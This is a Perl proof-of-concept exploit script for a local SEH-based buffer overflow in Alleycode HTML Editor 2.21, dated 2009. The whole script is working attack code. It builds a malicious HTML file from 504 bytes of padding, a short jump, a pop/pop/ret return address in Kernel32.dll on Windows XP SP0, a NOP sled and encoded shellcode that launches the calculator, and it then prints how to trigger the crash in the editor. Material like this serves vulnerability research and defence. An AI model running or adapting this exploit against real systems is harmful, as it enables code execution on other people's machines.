#!/usr/bin/perl
#
# Alleycode HTML Editor 2.21 Local HTML Buffer Overflow.
# Bug found by Dr_IDE
#
# Coded by Oscar Marques aka F-117.
# www.dunkelheit.com.br
# 29/10/09.
#
# md5: aba65f8aab147382483e1cd84c6ff361 evil_homepage.html
my $VERSAO = '0.1';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
sub banner {
print ("\x41\x6c\x6c\x65\x79\x63\x6f\x64\x65\x20\x48\x54\x4d\x4c\x20\x45\x64\x69\x74\x6f\x72\x20\x32\x2e\x32\x31\x20\x4c\x6f\x63\x61\x6c\x20\x48\x54\x4d\x4c\x20\x42\x75\x66\x66\x65\x72\x20\x4f\x76\x65\x72\x66\x6c\x6f\x77\x2e\n\x43\x6f\x64\x65\x64\x20\x62\x79\x20\x46\x2d\x31\x31\x37\x2e\n\n");
}
$shellcode = (
"\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49".
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56".
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41".
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42".
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a".
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47".
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c".
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a".
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46".
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45".
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c".
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c".
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44".
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c".
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46".
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50".
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44".
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45".
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43".
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b".
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43".
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41");
$header = ("\n"); # Don't touch the html stuff.
$buffer = ("@" x 504); # Overwrite SEH Pointer
$nseh = ("\xEB\x64\x90\x90"); # Need to pass some garbage in stack
$ret = ("\x0E\x03\xEB\x77"); # P/P/R Kernel32.dll XPSP0
$nops = ("\x90" x 116); # SLIIIIIIIIIIIIIIIIIIIIIIIIIIIIIDE!
$junk = ("\x40" x (688 - length($shellcode))); # Looks like 688 bytes for Shellcode
$footer = ("\nCalculator goes BOOM!\n\n");
$evil = ($header . $buffer . $nseh . $ret . $nops . $shellcode . $junk . $footer);
{
banner();
open(FILE, ">evil_homepage.html");
print FILE $evil;
close(FILE);
print("[+] File created successfully. Load File and Click Tools -> Optimizer.\n");
}